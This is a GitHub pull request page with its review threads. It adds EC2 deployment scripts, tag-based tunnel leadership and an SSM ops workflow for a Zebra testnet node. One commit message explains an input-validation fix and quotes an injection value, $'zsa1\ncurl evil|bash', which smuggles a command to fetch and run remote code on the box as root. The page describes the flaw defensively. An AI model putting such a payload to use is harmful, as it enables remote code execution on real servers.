Add EC2 configuration and the ops workflow for ZSATestnet by ronkq · Pull Request #158 · QED-it/zebra

ronkq · 2026-08-10T09:34:29Z

Runs the ZSA1_1 testnet node from testnet-config.toml on the shared EC2 box,
plus the ops workflow that drives it over SSM.

File
`docker-compose.yml`	zebrad + cloudflared + dozzle + logs-api
`leader.sh`, `zebra-leader.service`	make the box match its `Role` tag
`ops.sh`	lifecycle actions, invoked over SSM
`logs-api.py`	read-only JSON log endpoint
`README.md`	end-to-end instructions
`.github/workflows/ops-ec2.yaml`	the ops console (merged in #157)

Leadership

The tunnel has one token, and every cloudflared holding it becomes another
connector Cloudflare load-balances across. These nodes are not replicas — each
has its own ephemeral chain — so only the instance tagged Role=leader runs one.

Following #159 the workflow writes that tag; the box only makes itself match it,
at boot (zebra-leader.service) and on demand (ops.sh apply):

Role=leader present -> ensure cloudflared up
absent              -> ensure cloudflared down

Nothing on the box writes the tag, so there is no shared state to race over. The
lookup fails closed: a throttled or denied call leaves cloudflared as-is rather
than reading as "not the leader", and the unit retries on failure.

promote/demote are workflow actions. The runner moves the tag, then sends
apply to the old leader first — and treats it as a gate: if standing it down
fails the run aborts and the new leader is never brought up, so there is no point
at which two connectors are live. promote needs an explicit instance_id and
refuses while the incumbent is stopped, since SSM cannot reach it to stand it
down.

Genesis

Zebra hard-codes a genesis block for Regtest only, and this network has no peers
to fetch one from, so the node parks at current_height=None until it is
submitted. ops.sh does that over RPC from the block vector in the image, on
every action that starts the node. Re-submitting is a no-op.

Deployment

The launch template installs the scripts via user_data and enables the unit, so
a fresh instance matches its tag on boot and comes up with no connector until it
is promoted. The instance profile needs no write permissions: ec2:DescribeTags
for the tag, ssm:GetParameter+kms:Decrypt for the tunnel token.

deploy-files re-fetches these files from ref onto a running box. Files only —
nothing is restarted, so a compose change takes effect on the next
restart/recreate. ref is validated and rejects ... The default is zsa1,
which only resolves once this PR is merged; before that pass
ref=zebra-ec2-configuration.

The image must be built from this branch — it carries the ZSA transaction format
the node produces. Until that image is in ECR the box keeps a local
docker-compose.override.yml pinning the old config path; delete it afterwards.

ronkq · 2026-08-11T13:07:19Z

Same code as the lambda python code we had, just without fetching the LambdaVersion parameter.

PaulLaux

Overall good. Leader logic is too complicated. Can be significantly reduce to relay on the manual tag as done in #159 (you can use it directly or just inspiration).

Added comments. + consider merging #157 here after fixes so we have one package for final review.

PaulLaux · 2026-08-12T13:43:58Z

+put() { aws ssm put-parameter --region "$REGION" --name "$PARAM" \
+  --type String --value "$ID" "$@" >/dev/null; }
+get() { aws ssm get-parameter --region "$REGION" --name "$PARAM" \
+  --query Parameter.Value --output text 2>/dev/null || true; }


avoid || true. What if it fails...

PaulLaux · 2026-08-12T13:45:44Z

+  state=$(aws ec2 describe-instances --region "$REGION" --instance-ids "$cur" \
+    --query 'Reservations[].Instances[].State.Name' --output text 2>/dev/null || echo gone)
+  case "$state" in
+    ""|None|gone|terminated|shutting-down|stopped|stopping) put --overwrite; return 0 ;;


this will return 0 unconditionally.

Fixed, here and in another place

PaulLaux · 2026-08-12T13:46:16Z

+  cur=$(get)
+  [ "$cur" = "$ID" ] && return 0
+  state=$(aws ec2 describe-instances --region "$REGION" --instance-ids "$cur" \
+    --query 'Reservations[].Instances[].State.Name' --output text 2>/dev/null || echo gone)


this will echo gone + exit code 0 unconditionally.

PaulLaux · 2026-08-12T13:48:06Z

+
+# State is ephemeral and the node has no peers, so genesis is re-injected after
+# every start. Idempotent: an already-committed block returns "rejected", HTTP 200.
+serve_genesis() {


Let's call it self_serve_genesis(). Just the function not the op

PaulLaux · 2026-08-12T14:03:33Z

+**3. Genesis + verify**
+
+```sh
+aws ssm send-command --region eu-central-1 --instance-ids <id> \


Let's add this command as a manual way to operate ops.sh - add this to ops.sh section
+generalise region

Moved it into the ops.sh section as the general manual path

PaulLaux · 2026-08-12T14:06:01Z

+PARAM=/zebra/leader
+REGION="${AWS_REGION:-eu-central-1}"
+
+TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token \


what is 169.254.169.254?

It's the EC2 Instance Metadata Service, it's an endpoint by AWS that gives info about the instance (from inside the instance)
Clarified

PaulLaux · 2026-08-12T14:10:27Z

+           else untag 2>/dev/null || true
+                cd /opt/zebra && docker compose stop cloudflared >/dev/null 2>&1 || true
+                echo follower; fi ;;
+  promote) put --overwrite; tag; start_tunnel; echo "leader: $ID" ;;


this promote) undermines the entire design. It will create a second "leader" and a second connection on a new machine without making sure that the previous leader is disconnected.

When this happens we are also locked out of ops - we will get || { echo "::error::expected 1 leader, got: '$ID'"; exit 1; } in ops-ec2.yaml

Agree. Not fixing it here as your 159 addresses this

ronkq · 2026-08-14T22:18:51Z

Overall good. Leader logic is too complicated. Can be significantly reduce to relay on the manual tag as done in #159 (you can use it directly or just inspiration).

Added comments. + consider merging #157 here after fixes so we have one package for final review.

Lets use the simplified logic from 159 - I merged it into this.
Please check and approve 157 so we can merge it further to this branch, after that I will check that everything is aligned.

…ove the || true

Drop the SSM-parameter election from leader.sh. Role=leader is now written only by the ops workflow, and `leader.sh apply` just makes the box match it: connector up if tagged, down if not. No shared lock, so the claim races and the two-connector state promote could leave behind are gone rather than fixed. A failed tag lookup exits non-zero without touching the connector. promote/demote move to the workflow: untag the old leader, tag the new, apply to both. The instance profile drops to ec2:DescribeTags plus the token read. Also puts cloudflared in the `tunnel` compose profile so a bare `up -d` cannot start one, and passes its token via TUNNEL_TOKEN instead of argv. Co-authored-by: ronkq <arseni@qed-it.com>

* Add EC2 ops workflow driving the testnet node over SSM * Pass ops workflow inputs through env and validate image_tag and instance_id * Validate ops workflow inputs and fail the job on non-Success SSM status * Poll SSM for up to 15 minutes instead of the 100s command-executed waiter && Pin configure-aws-credentials to a commit SHA * Source AWS_REGION from vars instead of hardcoding it * Run the ops job under the dev environment and move env into the job * Small fix of leader * Move promote and demote to the runner as Role tag changes * Verify an explicit instance_id belongs to zebra-testnet before acting on it

…ogs-api

PaulLaux

Overall good. Added comments

Also, please update the "leadership" section in the PR description.

PaulLaux · 2026-08-24T16:16:52Z

+Type=oneshot
+RemainAfterExit=yes
+ExecStart=/bin/bash /opt/zebra/leader.sh apply
+


we need Restart=on-failure - leader.sh deliberately exit with code 1 when the tag lookup fails, a retry can help us if the tag is lost and there is a delay.

Did you test the service live? on which linux?

Let's add here RestartSec=30 too. otherwise we will get 100ms interval on restart (might not be enough to recover on network error)

Added the RestartSec=30

Tested on AL2023

PaulLaux · 2026-08-24T16:21:19Z

+          }
+
+          RC=0
+          for I in $TARGET_ID $ALSO_ID; do send "$I" || RC=1; done


Iterate $ALSO_ID first - bring down the existing first then up the new.

Swapped the order

PaulLaux · 2026-08-24T16:38:26Z

+}
+
+case "$ACTION" in
+  deploy)     sed -i "s|^IMAGE=.*|IMAGE=$IMAGE_REPO:$TAG|" .env


This will fail silently if there is no IMAGE= env var. Protect it like you did in leader.sh:

deploy) grep -q '^IMAGE=' .env || { echo "no IMAGE= line in .env" >&2; exit 1; } case "$IMAGE_REPO" in *.dkr.ecr.*.amazonaws.com/*) aws ecr get-login-password --region "${AWS_REGION:-eu-central-1}" \ | docker login --username AWS --password-stdin "${IMAGE_REPO%%/*}" ;; esac docker pull "$IMAGE_REPO:$TAG" sed -i "s|^IMAGE=.*|IMAGE=$IMAGE_REPO:$TAG|" .env docker compose up -d zebra-testnet self_serve_genesis ;;

PaulLaux · 2026-08-24T16:48:18Z

+self_serve_genesis() {
+  local hex
+  hex=$(docker exec zebra-testnet cat /app/zebra-test/src/vectors/block-test-0-000-000.txt | tr -d '[:space:]')
+  curl -s --retry 30 --retry-delay 2 --retry-connrefused --retry-all-errors \


add --fail-with-body with a proper msg. Otherwise HTTP error, or a JSON-RPC error object in a 200, is printed and the script exits 0.

Added --fail-with-body and an explicit message

PaulLaux · 2026-08-24T16:50:28Z

+          aws-region: ${{ env.AWS_REGION }}
+
+      - name: Guard destructive actions
+        if: contains(fromJSON('["stop","demote"]'), inputs.action)


restart, start, recreate and deploy all destroy the entire chain. Let's add them.

Added the 4

PaulLaux · 2026-08-24T17:01:02Z

+            { echo "### $id — ops.sh $OPS"
+              jq -r '[.Status, .StandardOutputContent, .StandardErrorContent] | @tsv' <<<"$inv"
+            } | tee -a "$GITHUB_STEP_SUMMARY"


@tsv escapes newlines, so all SSM output is one unreadable line.
consider

{ echo "### $id — ops.sh $OPS" echo "status: $(jq -r '.Status // "unknown"' <<<"$inv")" echo '```' jq -r '.StandardOutputContent // "", .StandardErrorContent // ""' <<<"$inv" echo '```' } | tee -a "$GITHUB_STEP_SUMMARY"

or similar

PaulLaux · 2026-08-24T17:16:57Z

+            for _ in $(seq 1 180); do
+              inv=$(aws ssm get-command-invocation --command-id "$cmd" \
+                --instance-id "$id" 2>/dev/null || echo '{}')
+              st=$(jq -r '.Status // "Pending"' <<<"$inv")
+              case "$st" in Success|Failed|Cancelled|TimedOut) break ;; esac
+              sleep 5


get-command-invocation errors into {}, st stays Pending.
As a result this loop will poll for 5 * 180 = 15 min on fail. Any specific reason to wait that long? If not, reduce to 4 min max or change the polling method

Reduced to 4 min

PaulLaux · 2026-08-24T17:24:52Z

+  recreate)   docker compose up -d --force-recreate zebra-testnet; self_serve_genesis ;;
+  genesis)    self_serve_genesis ;;
+  stop)       docker compose stop zebra-testnet ;;
+  logs)       docker compose logs zebra-testnet --tail=200 --no-color ;;


The SSM on the other side has a limit of 24K charts. Reduce to 50 lines, or go for something more sophisticated to avoid this issue.

Reduced to 50

PaulLaux

Added minor comments and a question

PaulLaux · 2026-09-02T12:40:15Z

+Must be built from this branch — its `zebra-network/src/config.rs` makes
+`funding_streams = []` actually clear the default testnet streams; without it
+every block is rejected with `Deferred(-7875000000000)`. 20-40 min cold.


This looks incorrect now

PaulLaux · 2026-09-02T12:44:27Z

+Type=oneshot
+RemainAfterExit=yes
+ExecStart=/bin/bash /opt/zebra/leader.sh apply
+


Did you test the service live? on which linux?

PaulLaux · 2026-09-02T12:51:42Z

+Type=oneshot
+RemainAfterExit=yes
+ExecStart=/bin/bash /opt/zebra/leader.sh apply
+


Let's add here RestartSec=30 too. otherwise we will get 100ms interval on restart (might not be enough to recover on network error)

…guard IMAGE_REPO, drop the funding_streams patch

* fix(ec2): match inputs against the whole string, not per line grep anchors ^ and $ per line, so an anchored pattern passes as soon as any one line matches. image_tag and ref both reach a root shell on the box, so a value like $'zsa1\ncurl evil|bash' passed validation on its first line and carried the second one through. Use bash [[ =~ ]], which matches the whole string. The '..' check for ref becomes a case: `[[ ]] &&` returns non-zero when false, which would abort the step under bash -e. * fix(ec2): roll the Role tag back when a promote cannot stand down Aborting left the tag on the new leader while the old one still held the tunnel, and re-running promote could not repair it: the tag step finds LEADER already equal to the target, so `also` is empty and the gate is skipped. Put the tag back instead. The target is untagged first, so a rollback that dies partway leaves no leader rather than two. * fix(ec2): report an unfinished SSM command as still running, not failed The poll gives up after 240s but the command keeps going on the box, so Pending/InProgress read as failure with no output to diagnose from. Name that case and print the command id to settle it with. Matters most on promote, which now rolls the Role tag back on a failed stand-down. * fix(ec2): set the SSM poll budget in seconds and raise it to 20 min `tries=48` read like a duration but was an iteration count. Set the wall clock instead and derive the count at the loop. 240s did not cover a cold ECR pull plus genesis retries, so a slow deploy reported as unfinished while it was still working. * Guard send-command failure and clarify promote rollback outcome * shorten comments * shorten comments --------- Co-authored-by: ronkq <arseni@qed-it.com>

ronkq self-assigned this Aug 10, 2026

ronkq commented Aug 11, 2026

View reviewed changes

ronkq marked this pull request as ready for review August 11, 2026 13:07

PaulLaux mentioned this pull request Aug 12, 2026

refactor(ec2): make tunnel leadership a tag the box follows #159

Merged

PaulLaux reviewed Aug 12, 2026

View reviewed changes

ronkq and others added 14 commits August 18, 2026 23:55

Add testnet configuration

e7cb082

Update config.rs

c7f7a8b

Simplify testnet setup for a curl served bootsrap genesis approach

2b2c359

Rename testnet magic and name to ZSA

8b901c1

Add EC2 runtime configuration and tunnel leader election for ZSATestnet

718f5f1

Update leader.sh

c463468

Refresh the ECR login before deploy so pulls survive token expiry

ba3420c

Distinguish an unreadable leader parameter from an unclaimed one, rem…

684e681

…ove the || true

Only treat a missing instance as gone, not any lookup failure

7c4b80f

Return the actual result of the leader parameter write

99dec93

Name the instance metadata endpoint

140b8ff

Rename the genesis helper to self_serve_genesis

ab3de36

Document the manual SSM path for ops.sh and generalise region

2bc8447

ronkq force-pushed the testnet-configuration branch from cf7390c to 8b901c1 Compare August 18, 2026 21:55

ronkq force-pushed the zebra-ec2-configuration branch from cbb0f2b to 0ef29a1 Compare August 18, 2026 21:55

ronkq added 3 commits August 19, 2026 00:33

Update the ECR login note now that deploy refreshes it itself

0349dca

Validate image_tag before the tag step and stop leaking errors from l…

e4e7e5a

…ogs-api

ronkq changed the title ~~Add EC2 docker-conpose configuration and tunnel leader election for ZSATestnet~~ Add EC2 configuration and the ops workflow for ZSATestnet Aug 20, 2026

PaulLaux reviewed Aug 24, 2026

View reviewed changes

PaulLaux mentioned this pull request Aug 25, 2026

Add logs endpoint for swaps - logs.zebra-swaps.zsa-test.net #117

Closed

Add deploy-files to pull the box files from the zsa1 branch

f60d437

Base automatically changed from testnet-configuration to zsa1 August 26, 2026 20:28

ronkq added 3 commits August 26, 2026 22:43

Fix conflicts

ca6fe57

Address review comments on the ops workflow and box scripts

a79ab66

Document hardware requirements and what the launch template installs

86f909d

PaulLaux reviewed Sep 2, 2026

View reviewed changes

Abort promote if the old leader fails, validate ref, add RestartSec, …

e35977a

…guard IMAGE_REPO, drop the funding_streams patch

ronkq had a problem deploying to dev September 6, 2026 20:19 — with GitHub Actions Failure

Force-fetch tags so the ECR build works on a tag push

69b70e1

ronkq deployed to dev September 6, 2026 20:21 — with GitHub Actions Active

ronkq and others added 2 commits September 7, 2026 13:59

Timestamp the genesis block to 2026-09-01 and pin its hash (#169)

9063596

PaulLaux approved these changes Sep 8, 2026

View reviewed changes

ronkq merged commit f881784 into zsa1 Sep 8, 2026
11 checks passed

ronkq deleted the zebra-ec2-configuration branch September 8, 2026 21:23

Uh oh!

Conversation

ronkq commented Aug 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Leadership

Genesis

Deployment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

PaulLaux left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

ronkq Aug 14, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

ronkq commented Aug 14, 2026

Uh oh!

PaulLaux left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

ronkq commented Aug 10, 2026 •

edited

Loading

ronkq Aug 14, 2026 •

edited

Loading